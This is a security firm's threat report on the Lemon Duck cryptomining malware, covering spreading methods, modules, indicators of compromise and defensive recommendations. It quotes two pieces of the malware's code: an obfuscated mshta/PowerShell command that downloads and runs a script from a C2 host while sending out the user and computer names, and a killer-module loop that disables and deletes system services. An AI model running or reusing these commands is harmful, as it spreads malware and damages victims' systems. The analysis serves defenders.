

Lemon Duck Malware

Jul, 2022

TABLE OF CONTENTS

What is the Lemon Duck Malware	3
Brief Working	3
Executive Summary	4
Windows	4
Linux	5
PowerShell Components	6
The Mailer Module	6
The Competition Killer Module	7
The Python Pyinstaller Executable Module	8
Impact	8
Indicators of Compromise (IOC)	8
Windows Samples	8
Linux Samples	9
Hostnames	9
IP Addresses	9
Recommendations	10
References	10

What is the Lemon Duck Malware

The Lemon Duck malware surfaced in 2018. Ever since it has been targeting Windows and Linux machines. Once infected, the malware steals system resources to mine the cryptocurrency named "Monero". Along with that, the Lemon Duck malware is capable of forming a botnet once it gets inside a network. This malware makes the payload run in memory, which makes it stealthier. The malware performs these malicious functions using PowerShell modules in Windows machines. It exploits the SMB Remote Code Execution Vulnerability (CVE-2017-0144) to perform its functions.

Microsoft's 365 Defender Threat Intelligence Team mentions that the countries that are the most affected by the Lemon Duck malware are the United States, Russia, China, Germany, The United Kingdom, India, Korea, Canada, France, and Vietnam.

There is another malware known to exist in the Lemon Duck malware family, known as the LemonCat malware. This malware is capable of installing a backdoor and data theft in the infected machines, along with other functionalities.

This malware poses a threat to many aspects of computer and information security. First, being capable of installing malware, crucial data on the infected machine is at risk. Second, cryptocurrency mining is a resource-hungry task. This can lead to higher electricity usage and the wearing of electrical components in the computer system.

Brief Working

The Lemon Duck malware exploits vulnerabilities like EternalBlue (CVE-2017-0144), Windows LNK Remote Code Execution (CVE-2017-8646), Mimikatz, and PassTheHash attacks, and brute force on RDP and MS-SQL to gain infect vulnerable systems.

The cryptocurrency-miner that is embedded in this malware is known as "XMR miner". The malware uses file-less infection methods by running PowerShell scripts on the machine to remain stealthy.

On analysis, researchers concluded that most of the payloads and tools that the Lemon Duck malware uses are open source tools and codes. For example, PowerDump, freedp, and Mimikatz.

The most interesting functionality of this malware is that it has a "killer module". This module terminates every process other than what is required for its functioning to decrease competition in resource usage, to maximize the mining profitability.

Executive Summary

The Lemon Duck malware was first noticed in 2018. It is cryptocurrency-mining malware which uses the infected system's and mines the "Monero" cryptocurrency. The malware is a threat for both Windows as well as Linux based operating systems. The malware is also capable of forming a botnet in the network it gets in. There are several well known vulnerabilities that the malware exploits to gain access. One of these vulnerabilities is the Eternal Blue exploit which enables an attacker to run arbitrary code on the machine. The United States, Russia, China, Germany, The United Kingdom, India, Korea, Canada, France, and Vietnam are the countries where the malware is mostly spread. It mainly uses PowerShell to infect Windows hosts.

Among all the modules, the killer module is the most unique one as its function is to terminate all processes that are running on the system to consume the maximum amount of system resources to speed up the cryptocurrency-mining process.

Techniques, Tools, and Procedures

The Lemon Duck malware spreads in various ways. Some of the ways are as follows:-

Windows

- SMB password brute force – The malware is unpacked with a predefined wordlist against which it runs a password attack. If a successful match is found, then the SMB service is exploited further.
- MSSQL – The brute force attacks also run on the MSSQL server.
- External USB memory with LNK exploits – The malware embeds malicious code in .lnk files as well as DLLs and mounts it to USB devices. If connected to a machine, this will lead to exploitation.
- Email with exploit attachment – This malware has the capability to send emails with malicious attachments attached. This can be leveraged to get access.
- SMBGhost – Exploiting this vulnerability leads to remote code execution which is leveraged to unload the entire malware.
- RDB BlueKeep (CVE-2019-0708) – The malware exploits this vulnerability to spread in the network like a worm.
- RDP password brute force – RDP accounts are attacked with bruteforce to obtain passwords.
- SMB password PassTheHash – SMB passwords can also be cracked using PassTheHash attack to gain initial access.

Linux

- Redis – The malware exploits an incorrectly configured Redis database which does not require a password for establishing connections.
- YARN – With YARN, the malware attempts to exploit the system using the vulnerability that does not have an official CVE number attached to it. If successful, the Linux miner function is loaded.
- SSH Brute Forcing – The malware attempts to bruteforce the linux system to gain initial access.

Malware researchers noticed increased amounts of DNS requests Lemon Duck C2 and mining servers. (t.amynx.com C2)



Fig 1 – DNS requests activity increasing to the t.amynx.com C2 server

The malware gains initial access through one of the vectors mentioned above. It then loads a PowerShell script into the machine. On careful analysis, researchers found that an executable named “mshta.exe” was switching to PowerShell, which included the LemonDuck C2 server.

```
mshta vbscript:createobject(wscript.shell).run(cmd /c powershell -w hidden IE`x(Ne`w-Obj`ect Net.WebC`lient).DownloadString('http://t.amy'+nx.com/7p.php?0.8*usb_lnk*%username%*%computername%*'+[Environment]::OSVersion.version.Major);bpu ('http://t.amy'+nx.com/usb.jsp?lnk_0.8'),0)(window.close)
```

Fig 2 – Suspicious mshta.exe execution

To make itself stealthier, the functionalities run with disabled Windows Defender real-time detection. Further, it adds powershell.exe in the list that excludes scanning. To make sure the highest-level privileges, registry keys values are modified to reflect the same.

Among the various payloads, the cryptocurrency-mining payload, the main spreading module, the killer module, and the email-spreading module are the most noticed in the infected machines.

PowerShell Components

After gaining access, the malware checks for the components available that are relevant for mining. For example, graphic cards, RAM, and CPU. If the GPU name contains GTX, NVIDIA, GEFORCE, AMD, RADEON, then the xmrig-cuda module is loaded and run. Else, if a GPU is not connected, it loads the standard xmrig for CPU mining.

Other than the mining payload, the loader module also loads the mass-mailing module. For it to work, the malware changes the registry keys and settings to enable sending mails through Microsoft Outlook without sending out warning messages.

The modified registry keys look like this:-

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\{OfficeVersionNumber}\Outlook\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Office\
{OfficeVersionNumber}\Outlook\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Mic
rosoft\Office\{OfficeVersionNumber}\Outlook\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Wow6432Node\
Software\Microsoft\Office\{OfficeVersionNumber}\Outlook\Security
```

Fig 3 – Registry keys checked to enable the mailer module

The spreading module is written in PowerShell and contains thousands of lines of codes, mostly from open-source projects.

The Mailer Module

This module also uses PowerShell as its scripting language. It uses COM Automations to automate the process of sending emails to every contact in the mail list of the user.

The mail sent by the malware contains two attachments. First, a file named “readme.doc” is an RTF document exploiting the RCE vulnerability in MS Office (CVE-2017-8570). Second, “readme.zip”. This file contains Script that downloads and runs the first-stage loader of the Lemon Duck malware to infect the system.



Fig 4 – Example of a malicious email generated by the Lemon Duck malware

The Competition Killer module

This module is downloaded under the name kr.bin in the infected system. Its main purpose is to terminate services and processes to free up as many resources for mining purposes that it can. The killer module does not kill any process that is connected to any of the IP Addresses used by the Lemon Duck miners.

This is the list of all the services and processes that the Competition Killer module checks and terminates.

```

$SrvName = "xWinWpdSrv", "SVSHost", "Microsoft Telemetry", "lsass", "Microsoft", "system",
"Oracleupdate", "CLR", "sysmgmt", "\gm", "WmdnPnSN", "Sougoudl", "National", "Nationaaal", "Natimmonal",
"Nationaloll", "Nationalml", "Nationalaie", "Nationalwpi", "WinHelp32", "WinHelp64", "Samsserver",
"RpcEptManger", "NetMsmqActiv Media NVIDIA", "Sncryption Media Playeq", "SxS", "WinSvc", "mssecsvc2.1",
"mssecsvc2.0", "Windows_Update", "Windows Managers", "SvcNlauser", "WinVaultSvc", "Xtfy", "Xtfya", "Xtfyxxx",
"360rTys", "IPSECS", "MpeSvc", "SRDSL", "WifiService", "ALGM", "wmiApSrvs", "wmiApSrvs", "taskmgr1",
"WebServers", "ExpressVNService", "WWW.DDOS.CN.COM", "WinHelpSvc", "aspnet_staters", "clr_optimization",
"AxInstSV", "Zational", "DNS Server", "Serhiez", "SuperProServer", ".Net CLR", "WissssssnHelp32",
"WinHasdadelp32", "WinHasdelp32", "ClipBooks"
foreach($Srv in $SrvName) {
    $Null = SC.exe Config $Srv Start= Disabled
    $Null = SC.exe Stop $Srv
    $Null = SC.exe Delete $Srv
}

```

Fig 5 – List of the services that are checked and terminated

The Python Pyinstaller executable module

The function of this module is to exploit the Eternal Blue vulnerability to spread the malware in the local network by copying itself to the target systems. The code, written in Python programming language, creates a scheduled task on the infected remote system to launch the executable.

Impact

The Lemon Duck malware is a recent but serious threat. Its capability to spread across a network on its own to create a botnet of cryptocurrency-miners is dangerous.

The major impact of the Lemon Duck malware are- Cryptocurrency-mining is a resource-heavy task. This malware, therefore, steals resources from the system that could have been used otherwise. It creates a botnet of infected cryptocurrency-miners, which can lead to decreased network throughput, rendering the network slower. Since the malware runs with the highest-level privileges, sensitive data remains at risk on the infected system.

Indicators of Compromise (IOC):

Whenever a system is compromised, there are several indications that the malware leaves behind. Such indications are known as Indicators of Compromise. Following is a list of hashes along with the file names that were found on the infected systems.

Windows Samples

605ac25ebe8ab41ba291b467281e4f361e87df26fb0085636060d4972725958d - 32 bit Dll
e783b5235868d8f32f8656218f89ee24138a52e13d91ab5d5950cce1fa25f673 - 64 bit DLL
df154c314609c61ab33eea7f5d3d959fe3dacee35c8575741e96dfe27b2bd55e - earlier executable
.NET dropper
e72b656b15dca5b2dde4784bb113ca7c9768eeb731264fe10d057fc7909ef9c4 - xmrig-cuda
38ffc65ba9896583ba8c8f98dd36c0b391ee590e2011be7f715351965b7bed8c - evilclr module
5dd1c44610d038e0e8e3f572964f4be09ee3e7718d73bcd4c8684c3efea8ff2b - lnk exploit
aea17e712d9a25e37d0ce3af6adff733e89edd6416b5c4a6a9b95dd5faf13612 - RTF exploit
(readme.doc)
27040edd4917b6963f89d1d80073d20713dcea439a5b0f9a0cdaca655c1b4322 - earlier version of the
main PowerShell spreader
1d6153f93539fbc7bdd2389120c9f8967197ea81ffaf3df28417bdf2fe1252b - main Powershell spreader
5beb8128b269067186c5ce002423e1de33fd52986bf0696d5664ac278eae1993 - killer module
80eb16604550f9a115470acfa300b95d62ae856245666637afa00f8fb9e4808d - mailing module
d7d0f18071899c81ee90a7f8b266bd2cf22e988da7d0e991213f5fb4c8864e77 - Pyinstaller module
b660aa7aca644ba880fdee75f0f98b2db3b9b55978cc47a26b3f42e7d0869fff - Powershell miner
dropper

ce4ba5d544e566a4a83b5edd7e42e6783c2b03187f834913cdd185b3d453fb10 - Mimikatz
27e94c3f27539d0ed5c5267914860ff97a438acd1ace560e0a746a6d04b39718 - readme.js
Javascript

Linux Samples

9e0c65e28bf2539966364468a5fba8bf8bbcbcb76b84aa37348b3bad19047c73a - xmrig
7850f7ccba97d37bb89447f04dac93757b96d7270d1ee9797c12034f22363038 - Linux killer script
7de4497ed46e9e96f66ad0135c018d006a85bbd0c0202da6f0f1bd2030932a30 - Linux miner
downloader

On analysing logs of infected systems, it is evident that the following hostnames and IP
Addresses were requested and responded to frequently.

Hostnames

t[.]amynx[.]com
t[.]zer9g[.]com
p[.]b69kq[.]com
lplp[.]ackng[.]com
d[.]ackng[.]com
w[.]zz3r0[.]com
info[.]amynx[.]com
info[.]ackng[.]com
info[.]zz3r0[.]com
t[.]jdjdcjq[.]top
p[.]awcna[.]com
t[.]zer2[.]com
t[.]tr2q[.]com

IP Addresses

172[.]104[.]7[.]85
66[.]42[.]43[.]37
207[.]154[.]225[.]82
161[.]35[.]107[.]193
167[.]99[.]154[.]202
139[.]162[.]80[.]221
128[.]199[.]183[.]160
128[.]199[.]188[.]255
167[.]71[.]158[.]207

Recommendations

Ensure Microsoft's patch for the MS17-010 SMB vulnerability is patched.


- Perform regular backups for disaster recovery.
- Keep the systems in your network updated and secure with the latest security patches.
- Do not open suspicious emails.
- Disable anonymous login on network shares.
- Change all your system passwords and replace them with strong passphrases.
- Put in place anti-malware software.


References

- <https://www.secpod.com/blog/lemon-duck-malware/>
- <https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html>
- <https://thehackernews.com/2021/07/microsoft-warns-of-lemond-duck-malware.html>
- <https://success.trendmicro.com/solution/000261916>
- <https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemond-duck-and-lemoncat-modern-mining-malware-infrastructure/>
- <https://www.zdnet.com/article/lemon-duck-hacking-group-adopts-microsoft-exchange-server-vulnerabilities-in-new-attacks/>
- <https://www.esecurityplanet.com/threats/lemond-duck-malware-linux-microsoft/>
- <https://cymulate.com/threats/lemon-duck-spreads/>



Contact Us

 arvind@atheniantech.com

 www.atheniantech.com

